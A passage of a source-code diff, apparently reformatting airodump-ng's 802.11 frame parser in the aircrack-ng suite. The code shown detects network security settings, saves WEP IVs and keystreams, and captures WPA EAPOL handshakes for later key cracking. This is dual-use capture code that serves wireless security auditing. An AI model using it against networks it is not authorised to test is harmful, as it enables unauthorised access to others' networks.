+							if (memcmp(&p[4], "\x00\x37\x2A", 3) == 0)
+							{
+								unsigned char * pwfa = &p[7];
+								int wfa_len = ntohs(*((short *) &p[2]));
+								while (wfa_len > 0)
+								{
+									if (*pwfa == 0)
+									{ // Version2
+										ap_cur->wps.version = pwfa[2];
+										break;
+									}
+									wfa_len -= pwfa[1] + 2;
+									pwfa += pwfa[1] + 2;
+								}
+							}
+							break;
+						case 0x1054: // Primary Device Type
+							break;
+						case 0x1057: // AP Setup Locked
+							ap_cur->wps.ap_setup_locked = p[4];
+							break;
+						case 0x1008: // Config Methods
+						case 0x1053: // Selected Registrar Config Methods
+							ap_cur->wps.meth = (p[4] << 8) + p[5];
+							break;
+						default: // Unknown type-length-value
+							break;
+					}
+					p += sublen + 4;
+					len -= sublen + 4;
+				}
+				p = org_p + length + 2;
+			}
+			else
+				p += length + 2;
+		}
+	}
+
+	/* packet parsing: Authentication Response */
+
+	if (h80211[0] == 0xB0 && caplen >= 30)
+	{
+		if (ap_cur->security & STD_WEP)
+		{
+			// successful step 2 or 4 (coming from the AP)
+			if (memcmp(h80211 + 28, "\x00\x00", 2) == 0
+				&& (h80211[26] == 0x02 || h80211[26] == 0x04))
+			{
+				ap_cur->security &= ~(AUTH_OPN | AUTH_PSK | AUTH_MGT);
+				if (h80211[24] == 0x00) ap_cur->security |= AUTH_OPN;
+				if (h80211[24] == 0x01) ap_cur->security |= AUTH_PSK;
+			}
+		}
+	}
+
+	/* packet parsing: Association Request */
+
+	if (h80211[0] == 0x00 && caplen > 28)
+	{
+		p = h80211 + 28;
+
+		while (p < h80211 + caplen)
+		{
+			if (p + 2 + p[1] > h80211 + caplen) break;
+
+			if (p[0] == 0x00 && p[1] > 0 && p[2] != '\0'
+				&& (p[1] > 1 || p[2] != ' '))
+			{
+				/* found a non-cloaked ESSID */
+
+				n = (p[1] > 32) ? 32 : p[1];
+
+				memset(ap_cur->essid, 0, 33);
+				memcpy(ap_cur->essid, p + 2, n);
+				ap_cur->ssid_length = n;
+
+				if (G.f_ivs != NULL && !ap_cur->essid_stored)
+				{
+					memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr));
+					ivs2.flags |= IVS2_ESSID;
+					ivs2.len += ap_cur->ssid_length;
+
+					if (memcmp(G.prev_bssid, ap_cur->bssid, 6) != 0)
+					{
+						ivs2.flags |= IVS2_BSSID;
+						ivs2.len += 6;
+						memcpy(G.prev_bssid, ap_cur->bssid, 6);
+					}
+
+					/* write header */
+					if (fwrite(&ivs2, 1, sizeof(struct ivs2_pkthdr), G.f_ivs)
+						!= (size_t) sizeof(struct ivs2_pkthdr))
+					{
+						perror("fwrite(IV header) failed");
+						return (1);
+					}
+
+					/* write BSSID */
+					if (ivs2.flags & IVS2_BSSID)
+					{
+						if (fwrite(ap_cur->bssid, 1, 6, G.f_ivs) != (size_t) 6)
+						{
+							perror("fwrite(IV bssid) failed");
+							return (1);
+						}
+					}
+
+					/* write essid */
+					if (fwrite(ap_cur->essid, 1, ap_cur->ssid_length, G.f_ivs)
+						!= (size_t) ap_cur->ssid_length)
+					{
+						perror("fwrite(IV essid) failed");
+						return (1);
+					}
+
+					ap_cur->essid_stored = 1;
+				}
+
+				if (verifyssid(ap_cur->essid) == 0)
+					for (i = 0; i < n; i++)
+						if ((ap_cur->essid[i] > 0 && ap_cur->essid[i] < 32)
+							|| (ap_cur->essid[i] > 126
+								&& ap_cur->essid[i] < 160))
+							ap_cur->essid[i] = '.';
+			}
+
+			p += 2 + p[1];
+		}
+		if (st_cur != NULL) st_cur->wpa.state = 0;
+	}
+
+	/* packet parsing: some data */
+
+	if ((h80211[0] & 0x0C) == 0x08)
+	{
+		/* update the channel if we didn't get any beacon */
+
+		if (ap_cur->channel == -1)
+		{
+			if (ri->ri_channel > 0 && ri->ri_channel <= HIGHEST_CHANNEL)
+				ap_cur->channel = ri->ri_channel;
+			else
+				ap_cur->channel = G.channel[cardnum];
+		}
+
+		/* check the SNAP header to see if data is encrypted */
+
+		z = ((h80211[1] & 3) != 3) ? 24 : 30;
+
+		/* Check if 802.11e (QoS) */
+		if ((h80211[0] & 0x80) == 0x80)
+		{
+			z += 2;
+			if (st_cur != NULL)
+			{
+				if ((h80211[1] & 3) == 1) // ToDS
+					st_cur->qos_to_ds = 1;
+				else
+					st_cur->qos_fr_ds = 1;
+			}
+		}
+		else
+		{
+			if (st_cur != NULL)
+			{
+				if ((h80211[1] & 3) == 1) // ToDS
+					st_cur->qos_to_ds = 0;
+				else
+					st_cur->qos_fr_ds = 0;
+			}
+		}
+
+		if (z == 24)
+		{
+			if (list_check_decloak(&(ap_cur->packets), caplen, h80211) != 0)
+			{
+				list_add_packet(&(ap_cur->packets), caplen, h80211);
+			}
+			else
+			{
+				ap_cur->is_decloak = 1;
+				ap_cur->decloak_detect = 0;
+				list_tail_free(&(ap_cur->packets));
+				memset(G.message, '\x00', sizeof(G.message));
+				snprintf(G.message,
+						 sizeof(G.message) - 1,
+						 "][ Decloak: %02X:%02X:%02X:%02X:%02X:%02X ",
+						 ap_cur->bssid[0],
+						 ap_cur->bssid[1],
+						 ap_cur->bssid[2],
+						 ap_cur->bssid[3],
+						 ap_cur->bssid[4],
+						 ap_cur->bssid[5]);
+			}
+		}
+
+		if (z + 26 > (unsigned) caplen) goto write_packet;
+
+		if (h80211[z] == h80211[z + 1] && h80211[z + 2] == 0x03)
+		{
+			//            if( ap_cur->encryption < 0 )
+			//                ap_cur->encryption = 0;
+
+			/* if ethertype == IPv4, find the LAN address */
+
+			if (h80211[z + 6] == 0x08 && h80211[z + 7] == 0x00
+				&& (h80211[1] & 3) == 0x01)
+				memcpy(ap_cur->lanip, &h80211[z + 20], 4);
+
+			if (h80211[z + 6] == 0x08 && h80211[z + 7] == 0x06)
+				memcpy(ap_cur->lanip, &h80211[z + 22], 4);
+		}
+		//        else
+		//            ap_cur->encryption = 2 + ( ( h80211[z + 3] & 0x20 ) >> 5
+		//            );
+
+		if (ap_cur->security == 0 || (ap_cur->security & STD_WEP))
+		{
+			if ((h80211[1] & 0x40) != 0x40)
+			{
+				ap_cur->security |= STD_OPN;
+			}
+			else
+			{
+				if ((h80211[z + 3] & 0x20) == 0x20)
+				{
+					ap_cur->security |= STD_WPA;
+				}
+				else
+				{
+					ap_cur->security |= STD_WEP;
+					if ((h80211[z + 3] & 0xC0) != 0x00)
+					{
+						ap_cur->security |= ENC_WEP40;
+					}
+					else
+					{
+						ap_cur->security &= ~ENC_WEP40;
+						ap_cur->security |= ENC_WEP;
+					}
+				}
+			}
+		}
+
+		if (z + 10 > (unsigned) caplen) goto write_packet;
+
+		if (ap_cur->security & STD_WEP)
+		{
+			/* WEP: check if we've already seen this IV */
+
+			if (!uniqueiv_check(ap_cur->uiv_root, &h80211[z]))
+			{
+				/* first time seen IVs */
+
+				if (G.f_ivs != NULL)
+				{
+					memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr));
+					ivs2.flags = 0;
+					ivs2.len = 0;
+
+					/* datalen = caplen - (header+iv+ivs) */
+					dlen = caplen - z - 4 - 4; // original data len
+					if (dlen > 2048) dlen = 2048;
+					// get cleartext + len + 4(iv+idx)
+					num_xor = known_clear(clear, &clen, weight, h80211, dlen);
+					if (num_xor == 1)
+					{
+						ivs2.flags |= IVS2_XOR;
+						ivs2.len += clen + 4;
+						/* reveal keystream (plain^encrypted) */
+						for (n = 0; n < (ivs2.len - 4); n++)
+						{
+							clear[n] = (clear[n] ^ h80211[z + 4 + n]) & 0xFF;
+						}
+						// clear is now the keystream
+					}
+					else
+					{
+						// do it again to get it 2 bytes higher
+						num_xor = known_clear(
+							clear + 2, &clen, weight, h80211, dlen);
+						ivs2.flags |= IVS2_PTW;
+						// len = 4(iv+idx) + 1(num of keystreams) + 1(len per
+						// keystream) + 32*num_xor + 16*sizeof(int)(weight[16])
+						ivs2.len += 4 + 1 + 1 + 32 * num_xor + 16 * sizeof(int);
+						clear[0] = num_xor;
+						clear[1] = clen;
+						/* reveal keystream (plain^encrypted) */
+						for (o = 0; o < num_xor; o++)
+						{
+							for (n = 0; n < (ivs2.len - 4); n++)
+							{
+								clear[2 + n + o * 32] = (clear[2 + n + o * 32]
+														 ^ h80211[z + 4 + n])
+														& 0xFF;
+							}
+						}
+						memcpy(clear + 4 + 1 + 1 + 32 * num_xor,
+							   weight,
+							   16 * sizeof(int));
+						// clear is now the keystream
+					}
+
+					if (memcmp(G.prev_bssid, ap_cur->bssid, 6) != 0)
+					{
+						ivs2.flags |= IVS2_BSSID;
+						ivs2.len += 6;
+						memcpy(G.prev_bssid, ap_cur->bssid, 6);
+					}
+
+					if (fwrite(&ivs2, 1, sizeof(struct ivs2_pkthdr), G.f_ivs)
+						!= (size_t) sizeof(struct ivs2_pkthdr))
+					{
+						perror("fwrite(IV header) failed");
+						return (1);
+					}
+
+					if (ivs2.flags & IVS2_BSSID)
+					{
+						if (fwrite(ap_cur->bssid, 1, 6, G.f_ivs) != (size_t) 6)
+						{
+							perror("fwrite(IV bssid) failed");
+							return (1);
+						}
+						ivs2.len -= 6;
+					}
+
+					if (fwrite(h80211 + z, 1, 4, G.f_ivs) != (size_t) 4)
+					{
+						perror("fwrite(IV iv+idx) failed");
+						return (1);
+					}
+					ivs2.len -= 4;
+
+					if (fwrite(clear, 1, ivs2.len, G.f_ivs)
+						!= (size_t) ivs2.len)
+					{
+						perror("fwrite(IV keystream) failed");
+						return (1);
+					}
+				}
+
+				uniqueiv_mark(ap_cur->uiv_root, &h80211[z]);
+
+				ap_cur->nb_data++;
+			}
 
-    if( h80211[0] == 0x80 || h80211[0] == 0x50 )
-    {
-        if( !(ap_cur->security & (STD_OPN|STD_WEP|STD_WPA|STD_WPA2)) )
-        {
-            if( ( h80211[34] & 0x10 ) >> 4 ) ap_cur->security |= STD_WEP|ENC_WEP;
-            else ap_cur->security |= STD_OPN;
-        }
-
-        ap_cur->preamble = ( h80211[34] & 0x20 ) >> 5;
-
-        unsigned long long *tstamp = (unsigned long long *) (h80211 + 24);
-        ap_cur->timestamp = letoh64(*tstamp);
-
-        p = h80211 + 36;
-
-        while( p < h80211 + caplen )
-        {
-            if( p + 2 + p[1] > h80211 + caplen )
-                break;
-
-            //only update the essid length if the new length is > the old one
-            if( p[0] == 0x00 && (ap_cur->ssid_length < p[1]) ) ap_cur->ssid_length = p[1];
-
-            if( p[0] == 0x00 && p[1] > 0 && p[2] != '\0' &&
-                ( p[1] > 1 || p[2] != ' ' ) )
-            {
-                /* found a non-cloaked ESSID */
-
-//                n = ( p[1] > 32 ) ? 32 : p[1];
-                n = p[1];
-
-                memset( ap_cur->essid, 0, 256 );
-                memcpy( ap_cur->essid, p + 2, n );
-
-                if( G.f_ivs != NULL && !ap_cur->essid_stored )
-                {
-                    memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr));
-                    ivs2.flags |= IVS2_ESSID;
-                    ivs2.len += ap_cur->ssid_length;
-
-                    if( memcmp( G.prev_bssid, ap_cur->bssid, 6 ) != 0 )
-                    {
-                        ivs2.flags |= IVS2_BSSID;
-                        ivs2.len += 6;
-                        memcpy( G.prev_bssid, ap_cur->bssid,  6 );
-                    }
-
-                    /* write header */
-                    if( fwrite( &ivs2, 1, sizeof(struct ivs2_pkthdr), G.f_ivs )
-                        != (size_t) sizeof(struct ivs2_pkthdr) )
-                    {
-                        perror( "fwrite(IV header) failed" );
-                        return( 1 );
-                    }
-
-                    /* write BSSID */
-                    if(ivs2.flags & IVS2_BSSID)
-                    {
-                        if( fwrite( ap_cur->bssid, 1, 6, G.f_ivs )
-                            != (size_t) 6 )
-                        {
-                            perror( "fwrite(IV bssid) failed" );
-                            return( 1 );
-                        }
-                    }
-
-                    /* write essid */
-                    if( fwrite( ap_cur->essid, 1, ap_cur->ssid_length, G.f_ivs )
-                        != (size_t) ap_cur->ssid_length )
-                    {
-                        perror( "fwrite(IV essid) failed" );
-                        return( 1 );
-                    }
-
-                    ap_cur->essid_stored = 1;
-                }
-
-                for( i = 0; i < n; i++ )
-                    if( ( ap_cur->essid[i] >   0 && ap_cur->essid[i] <  32 ) ||
-                        ( ap_cur->essid[i] > 126 && ap_cur->essid[i] < 160 ) )
-                        ap_cur->essid[i] = '.';
-            }
-
-            /* get the maximum speed in Mb and the AP's channel */
-
-            if( p[0] == 0x01 || p[0] == 0x32 )
-            {
-                if(ap_cur->max_speed < ( p[1 + p[1]] & 0x7F ) / 2)
-                    ap_cur->max_speed = ( p[1 + p[1]] & 0x7F ) / 2;
-            }
-
-            if( p[0] == 0x03 )
-                ap_cur->channel = p[2];
-
-            p += 2 + p[1];
-        }
-    }
-
-    /* packet parsing: Beacon & Probe response */
-
-    if( (h80211[0] == 0x80 || h80211[0] == 0x50) && caplen > 38)
-    {
-        p=h80211+36;         //ignore hdr + fixed params
-
-        while( p < h80211 + caplen )
-        {
-            type = p[0];
-            length = p[1];
-            if(p+2+length > h80211 + caplen) {
-/*                printf("error parsing tags! %p vs. %p (tag: %i, length: %i,position: %i)\n", (p+2+length), (h80211+caplen), type, length, (p-h80211));
-                exit(1);*/
-                break;
-            }
-
-            if( (type == 0xDD && (length >= 8) && (memcmp(p+2, "\x00\x50\xF2\x01\x01\x00", 6) == 0)) || (type == 0x30) )
-            {
-                ap_cur->security &= ~(STD_WEP|ENC_WEP|STD_WPA);
-
-                org_p = p;
-                offset = 0;
-
-                if(type == 0xDD)
-                {
-                    //WPA defined in vendor specific tag -> WPA1 support
-                    ap_cur->security |= STD_WPA;
-                    offset = 4;
-                }
-
-                if(type == 0x30)
-                {
-                    ap_cur->security |= STD_WPA2;
-                    offset = 0;
-                }
-
-                if(length < (18+offset))
-                {
-                    p += length+2;
-                    continue;
-                }
-
-                if( p+9+offset > h80211+caplen )
-                    break;
-                numuni  = p[8+offset] + (p[9+offset]<<8);
-
-                if( p+ (11+offset) + 4*numuni > h80211+caplen)
-                    break;
-                numauth = p[(10+offset) + 4*numuni] + (p[(11+offset) + 4*numuni]<<8);
-
-                p += (10+offset);
-
-                if(type != 0x30)
-                {
-                    if( p + (4*numuni) + (2+4*numauth) > h80211+caplen)
-                        break;
-                }
-                else
-                {
-                    if( p + (4*numuni) + (2+4*numauth) + 2 > h80211+caplen)
-                        break;
-                }
-
-                for(i=0; i<numuni; i++)
-                {
-                    switch(p[i*4+3])
-                    {
-                    case 0x01:
-                        ap_cur->security |= ENC_WEP;
-                        break;
-                    case 0x02:
-                        ap_cur->security |= ENC_TKIP;
-                        break;
-                    case 0x03:
-                        ap_cur->security |= ENC_WRAP;
-                        break;
-                    case 0x04:
-                        ap_cur->security |= ENC_CCMP;
-                        break;
-                    case 0x05:
-                        ap_cur->security |= ENC_WEP104;
-                        break;
-                    default:
-                        break;
-                    }
-                }
-
-                p += 2+4*numuni;
-
-                for(i=0; i<numauth; i++)
-                {
-                    switch(p[i*4+3])
-                    {
-                    case 0x01:
-                        ap_cur->security |= AUTH_MGT;
-                        break;
-                    case 0x02:
-                        ap_cur->security |= AUTH_PSK;
-                        break;
-                    default:
-                        break;
-                    }
-                }
-
-                p += 2+4*numauth;
-
-                if( type == 0x30 ) p += 2;
-
-                p = org_p + length+2;
-            }
-            else if( (type == 0xDD && (length >= 8) && (memcmp(p+2, "\x00\x50\xF2\x02\x01\x01", 6) == 0)))
-            {
-                ap_cur->security |= STD_QOS;
-                p += length+2;
-            }
-            else if( (type == 0xDD && (length >= 4) && (memcmp(p+2, "\x00\x50\xF2\x04", 4) == 0)))
-            {
-                org_p = p;
-                p+=6;
-                int len = length, subtype = 0, sublen = 0;
-                while(len >= 4)
-                {
-                    subtype = (p[0] << 8) + p[1];
-                    sublen = (p[2] << 8) + p[3];
-                    if(sublen > len)
-                        break;
-                    switch(subtype)
-                    {
-                    case 0x104a: // WPS Version
-                        ap_cur->wps.version = p[4];
-                        break;
-                    case 0x1011: // Device Name
-                    case 0x1012: // Device Password ID
-                    case 0x1021: // Manufacturer
-                    case 0x1023: // Model
-                    case 0x1024: // Model Number
-                    case 0x103b: // Response Type
-                    case 0x103c: // RF Bands
-                    case 0x1041: // Selected Registrar
-                    case 0x1042: // Serial Number
-                        break;
-                    case 0x1044: // WPS State
-                        ap_cur->wps.state = p[4];
-                        break;
-                    case 0x1047: // UUID Enrollee
-                    case 0x1049: // Vendor Extension
-                    case 0x1054: // Primary Device Type
-                        break;
-                    case 0x1057: // AP Setup Locked
-                        ap_cur->wps.ap_setup_locked = p[4];
-                        break;
-                    case 0x1008: // Config Methods
-                    case 0x1053: // Selected Registrar Config Methods
-                        ap_cur->wps.meth = (p[4] << 8) + p[5];
-                        break;
-                    default:     // Unknown type-length-value
-                        break;
-                    }
-                    p += sublen+4;
-                    len -= sublen+4;
-                }
-                p = org_p + length+2;
-            }
-            else p += length+2;
-        }
-    }
-
-    /* packet parsing: Authentication Response */
-
-    if( h80211[0] == 0xB0 && caplen >= 30)
-    {
-        if( ap_cur->security & STD_WEP )
-        {
-            //successful step 2 or 4 (coming from the AP)
-            if(memcmp(h80211+28, "\x00\x00", 2) == 0 &&
-                (h80211[26] == 0x02 || h80211[26] == 0x04))
-            {
-                ap_cur->security &= ~(AUTH_OPN | AUTH_PSK | AUTH_MGT);
-                if(h80211[24] == 0x00) ap_cur->security |= AUTH_OPN;
-                if(h80211[24] == 0x01) ap_cur->security |= AUTH_PSK;
-            }
-        }
-    }
-
-    /* packet parsing: Association Request */
-
-    if( h80211[0] == 0x00 && caplen > 28 )
-    {
-        p = h80211 + 28;
-
-        while( p < h80211 + caplen )
-        {
-            if( p + 2 + p[1] > h80211 + caplen )
-                break;
-
-            if( p[0] == 0x00 && p[1] > 0 && p[2] != '\0' &&
-                ( p[1] > 1 || p[2] != ' ' ) )
-            {
-                /* found a non-cloaked ESSID */
-
-                n = ( p[1] > 32 ) ? 32 : p[1];
-
-                memset( ap_cur->essid, 0, 33 );
-                memcpy( ap_cur->essid, p + 2, n );
-
-                if( G.f_ivs != NULL && !ap_cur->essid_stored )
-                {
-                    memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr));
-                    ivs2.flags |= IVS2_ESSID;
-                    ivs2.len += ap_cur->ssid_length;
-
-                    if( memcmp( G.prev_bssid, ap_cur->bssid, 6 ) != 0 )
-                    {
-                        ivs2.flags |= IVS2_BSSID;
-                        ivs2.len += 6;
-                        memcpy( G.prev_bssid, ap_cur->bssid,  6 );
-                    }
-
-                    /* write header */
-                    if( fwrite( &ivs2, 1, sizeof(struct ivs2_pkthdr), G.f_ivs )
-                        != (size_t) sizeof(struct ivs2_pkthdr) )
-                    {
-                        perror( "fwrite(IV header) failed" );
-                        return( 1 );
-                    }
-
-                    /* write BSSID */
-                    if(ivs2.flags & IVS2_BSSID)
-                    {
-                        if( fwrite( ap_cur->bssid, 1, 6, G.f_ivs )
-                            != (size_t) 6 )
-                        {
-                            perror( "fwrite(IV bssid) failed" );
-                            return( 1 );
-                        }
-                    }
-
-                    /* write essid */
-                    if( fwrite( ap_cur->essid, 1, ap_cur->ssid_length, G.f_ivs )
-                        != (size_t) ap_cur->ssid_length )
-                    {
-                        perror( "fwrite(IV essid) failed" );
-                        return( 1 );
-                    }
-
-                    ap_cur->essid_stored = 1;
-                }
-
-                for( i = 0; i < n; i++ )
-                    if( ap_cur->essid[i] < 32 ||
-                      ( ap_cur->essid[i] > 126 && ap_cur->essid[i] < 160 ) )
-                        ap_cur->essid[i] = '.';
-            }
-
-            p += 2 + p[1];
-        }
-        if(st_cur != NULL)
-            st_cur->wpa.state = 0;
-    }
-
-    /* packet parsing: some data */
-
-    if( ( h80211[0] & 0x0C ) == 0x08 )
-    {
-        /* update the channel if we didn't get any beacon */
-
-        if( ap_cur->channel == -1 )
-        {
-            if(ri->ri_channel > 0 && ri->ri_channel <= HIGHEST_CHANNEL)
-                ap_cur->channel = ri->ri_channel;
-            else
-                ap_cur->channel = G.channel[cardnum];
-        }
-
-        /* check the SNAP header to see if data is encrypted */
-
-        z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30;
-
-        /* Check if 802.11e (QoS) */
-        if( (h80211[0] & 0x80) == 0x80)
-        {
-            z+=2;
-            if(st_cur != NULL)
-            {
-                if( (h80211[1] & 3) == 1 ) //ToDS
-                    st_cur->qos_to_ds = 1;
-                else
-                    st_cur->qos_fr_ds = 1;
-            }
-        }
-        else
-        {
-            if(st_cur != NULL)
-            {
-                if( (h80211[1] & 3) == 1 ) //ToDS
-                    st_cur->qos_to_ds = 0;
-                else
-                    st_cur->qos_fr_ds = 0;
-            }
-        }
-
-        if(z==24)
-        {
-            if(list_check_decloak(&(ap_cur->packets), caplen, h80211) != 0)
-            {
-                list_add_packet(&(ap_cur->packets), caplen, h80211);
-            }
-            else
-            {
-                ap_cur->is_decloak = 1;
-                ap_cur->decloak_detect = 0;
-                list_tail_free(&(ap_cur->packets));
-                memset(G.message, '\x00', sizeof(G.message));
-                    snprintf( G.message, sizeof( G.message ) - 1,
-                        "][ Decloak: %02X:%02X:%02X:%02X:%02X:%02X ",
-                        ap_cur->bssid[0], ap_cur->bssid[1], ap_cur->bssid[2],
-                        ap_cur->bssid[3], ap_cur->bssid[4], ap_cur->bssid[5]);
-            }
-        }
-
-        if( z + 26 > (unsigned)caplen )
-            goto write_packet;
-
-        if( h80211[z] == h80211[z + 1] && h80211[z + 2] == 0x03 )
-        {
-//            if( ap_cur->encryption < 0 )
-//                ap_cur->encryption = 0;
-
-            /* if ethertype == IPv4, find the LAN address */
-
-            if( h80211[z + 6] == 0x08 && h80211[z + 7] == 0x00 &&
-                ( h80211[1] & 3 ) == 0x01 )
-                    memcpy( ap_cur->lanip, &h80211[z + 20], 4 );
-
-            if( h80211[z + 6] == 0x08 && h80211[z + 7] == 0x06 )
-                memcpy( ap_cur->lanip, &h80211[z + 22], 4 );
-        }
-//        else
-//            ap_cur->encryption = 2 + ( ( h80211[z + 3] & 0x20 ) >> 5 );
-
-
-        if(ap_cur->security == 0 || (ap_cur->security & STD_WEP) )
-        {
-            if( (h80211[1] & 0x40) != 0x40 )
-            {
-                ap_cur->security |= STD_OPN;
-            }
-            else
-            {
-                if((h80211[z+3] & 0x20) == 0x20)
-                {
-                    ap_cur->security |= STD_WPA;
-                }
-                else
-                {
-                    ap_cur->security |= STD_WEP;
-                    if( (h80211[z+3] & 0xC0) != 0x00)
-                    {
-                        ap_cur->security |= ENC_WEP40;
-                    }
-                    else
-                    {
-                        ap_cur->security &= ~ENC_WEP40;
-                        ap_cur->security |= ENC_WEP;
-                    }
-                }
-            }
-        }
-
-        if( z + 10 > (unsigned)caplen )
-            goto write_packet;
-
-        if( ap_cur->security & STD_WEP )
-        {
-            /* WEP: check if we've already seen this IV */
-
-            if( ! uniqueiv_check( ap_cur->uiv_root, &h80211[z] ) )
-            {
-                /* first time seen IVs */
-
-                if( G.f_ivs != NULL )
-                {
-                    memset(&ivs2, '\x00', sizeof(struct ivs2_pkthdr));
-                    ivs2.flags = 0;
-                    ivs2.len = 0;
-
-                    /* datalen = caplen - (header+iv+ivs) */
-                    dlen = caplen -z -4 -4; //original data len
-                    if(dlen > 2048) dlen = 2048;
-                    //get cleartext + len + 4(iv+idx)
-                    num_xor = known_clear(clear, &clen, weight, h80211, dlen);
-                    if(num_xor == 1)
-                    {
-                        ivs2.flags |= IVS2_XOR;
-                        ivs2.len += clen + 4;
-                        /* reveal keystream (plain^encrypted) */
-                        for(n=0; n<(ivs2.len-4); n++)
-                        {
-                            clear[n] = (clear[n] ^ h80211[z+4+n]) & 0xFF;
-                        }
-                        //clear is now the keystream
-                    }
-                    else
-                    {
-                        //do it again to get it 2 bytes higher
-                        num_xor = known_clear(clear+2, &clen, weight, h80211, dlen);
-                        ivs2.flags |= IVS2_PTW;
-                        //len = 4(iv+idx) + 1(num of keystreams) + 1(len per keystream) + 32*num_xor + 16*sizeof(int)(weight[16])
-                        ivs2.len += 4 + 1 + 1 + 32*num_xor + 16*sizeof(int);
-                        clear[0] = num_xor;
-                        clear[1] = clen;
-                        /* reveal keystream (plain^encrypted) */
-                        for(o=0; o<num_xor; o++)
-                        {
-                            for(n=0; n<(ivs2.len-4); n++)
-                            {
-                                clear[2+n+o*32] = (clear[2+n+o*32] ^ h80211[z+4+n]) & 0xFF;
-                            }
-                        }
-                        memcpy(clear+4 + 1 + 1 + 32*num_xor, weight, 16*sizeof(int));
-                        //clear is now the keystream
-                    }
-
-                    if( memcmp( G.prev_bssid, ap_cur->bssid, 6 ) != 0 )
-                    {
-                        ivs2.flags |= IVS2_BSSID;
-                        ivs2.len += 6;
-                        memcpy( G.prev_bssid, ap_cur->bssid,  6 );
-                    }
-
-                    if( fwrite( &ivs2, 1, sizeof(struct ivs2_pkthdr), G.f_ivs )
-                        != (size_t) sizeof(struct ivs2_pkthdr) )
-                    {
-                        perror( "fwrite(IV header) failed" );
-                        return( 1 );
-                    }
-
-                    if( ivs2.flags & IVS2_BSSID )
-                    {
-                        if( fwrite( ap_cur->bssid, 1, 6, G.f_ivs ) != (size_t) 6 )
-                        {
-                            perror( "fwrite(IV bssid) failed" );
-                            return( 1 );
-                        }
-                        ivs2.len -= 6;
-                    }
-
-                    if( fwrite( h80211+z, 1, 4, G.f_ivs ) != (size_t) 4 )
-                    {
-                        perror( "fwrite(IV iv+idx) failed" );
-                        return( 1 );
-                    }
-                    ivs2.len -= 4;
-
-                    if( fwrite( clear, 1, ivs2.len, G.f_ivs ) != (size_t) ivs2.len )
-                    {
-                        perror( "fwrite(IV keystream) failed" );
-                        return( 1 );
-                    }
-                }
-
-                uniqueiv_mark( ap_cur->uiv_root, &h80211[z] );
-
-                ap_cur->nb_data++;
-            }
-
-            // Record all data linked to IV to detect WEP Cloaking
-            if( G.f_ivs == NULL && G.detect_anomaly)
-            {
+			// Record all data linked to IV to detect WEP Cloaking
+			if (G.f_ivs == NULL && G.detect_anomaly)
+			{
 				// Only allocate this when seeing WEP AP
-				if (ap_cur->data_root == NULL)
-					ap_cur->data_root = data_init();
+				if (ap_cur->data_root == NULL) ap_cur->data_root = data_init();
 
 				// Only works with full capture, not IV-only captures
 				if (data_check(ap_cur->data_root, &h80211[z], &h80211[z + 4])
-					== CLOAKING && ap_cur->EAP_detected == 0)
+						== CLOAKING
+					&& ap_cur->EAP_detected == 0)
 				{
 
-					//If no EAP/EAP was detected, indicate WEP cloaking
-                    memset(G.message, '\x00', sizeof(G.message));
-                    snprintf( G.message, sizeof( G.message ) - 1,
-                        "][ WEP Cloaking: %02X:%02X:%02X:%02X:%02X:%02X ",
-                        ap_cur->bssid[0], ap_cur->bssid[1], ap_cur->bssid[2],
-                        ap_cur->bssid[3], ap_cur->bssid[4], ap_cur->bssid[5]);
+					// If no EAP/EAP was detected, indicate WEP cloaking
+					memset(G.message, '\x00', sizeof(G.message));
+					snprintf(G.message,
+							 sizeof(G.message) - 1,
+							 "][ WEP Cloaking: %02X:%02X:%02X:%02X:%02X:%02X ",
+							 ap_cur->bssid[0],
+							 ap_cur->bssid[1],
+							 ap_cur->bssid[2],
+							 ap_cur->bssid[3],
+							 ap_cur->bssid[4],
+							 ap_cur->bssid[5]);
+				}
+			}
+		}
+		else
+		{
+			ap_cur->nb_data++;
+		}
+
+		z = ((h80211[1] & 3) != 3) ? 24 : 30;
+
+		/* Check if 802.11e (QoS) */
+		if ((h80211[0] & 0x80) == 0x80) z += 2;
 
+		if (z + 26 > (unsigned) caplen) goto write_packet;
+
+		z += 6; // skip LLC header
+
+		/* check ethertype == EAPOL */
+		if (h80211[z] == 0x88 && h80211[z + 1] == 0x8E
+			&& (h80211[1] & 0x40) != 0x40)
+		{
+			ap_cur->EAP_detected = 1;
+
+			z += 2; // skip ethertype
+
+			if (st_cur == NULL) goto write_packet;
+
+			/* frame 1: Pairwise == 1, Install == 0, Ack == 1, MIC == 0 */
+
+			if ((h80211[z + 6] & 0x08) != 0 && (h80211[z + 6] & 0x40) == 0
+				&& (h80211[z + 6] & 0x80) != 0
+				&& (h80211[z + 5] & 0x01) == 0)
+			{
+				memcpy(st_cur->wpa.anonce, &h80211[z + 17], 32);
+				st_cur->wpa.state = 1;
+			}
+
+			/* frame 2 or 4: Pairwise == 1, Install == 0, Ack == 0, MIC == 1 */
+
+			if (z + 17 + 32 > (unsigned) caplen) goto write_packet;
+
+			if ((h80211[z + 6] & 0x08) != 0 && (h80211[z + 6] & 0x40) == 0
+				&& (h80211[z + 6] & 0x80) == 0
+				&& (h80211[z + 5] & 0x01) != 0)
+			{
+				if (memcmp(&h80211[z + 17], ZERO, 32) != 0)
+				{
+					memcpy(st_cur->wpa.snonce, &h80211[z + 17], 32);
+					st_cur->wpa.state |= 2;
+				}
+
+				if ((st_cur->wpa.state & 4) != 4)
+				{
+					st_cur->wpa.eapol_size
+						= (h80211[z + 2] << 8) + h80211[z + 3] + 4;
+
+					if (caplen - z < st_cur->wpa.eapol_size
+						|| st_cur->wpa.eapol_size == 0
+						|| caplen - z < 81 + 16
+						|| st_cur->wpa.eapol_size > sizeof(st_cur->wpa.eapol))
+					{
+						// Ignore the packet trying to crash us.
+						st_cur->wpa.eapol_size = 0;
+						goto write_packet;
+					}
+
+					memcpy(st_cur->wpa.keymic, &h80211[z + 81], 16);
+					memcpy(
+						st_cur->wpa.eapol, &h80211[z], st_cur->wpa.eapol_size);
+					memset(st_cur->wpa.eapol + 81, 0, 16);
+					st_cur->wpa.state |= 4;
+					st_cur->wpa.keyver = h80211[z + 6] & 7;
 				}
 			}
 
-        }
-        else
-        {
-            ap_cur->nb_data++;
-        }
+			/* frame 3: Pairwise == 1, Install == 1, Ack == 1, MIC == 1 */
 
-        z = ( ( h80211[1] & 3 ) != 3 ) ? 24 : 30;
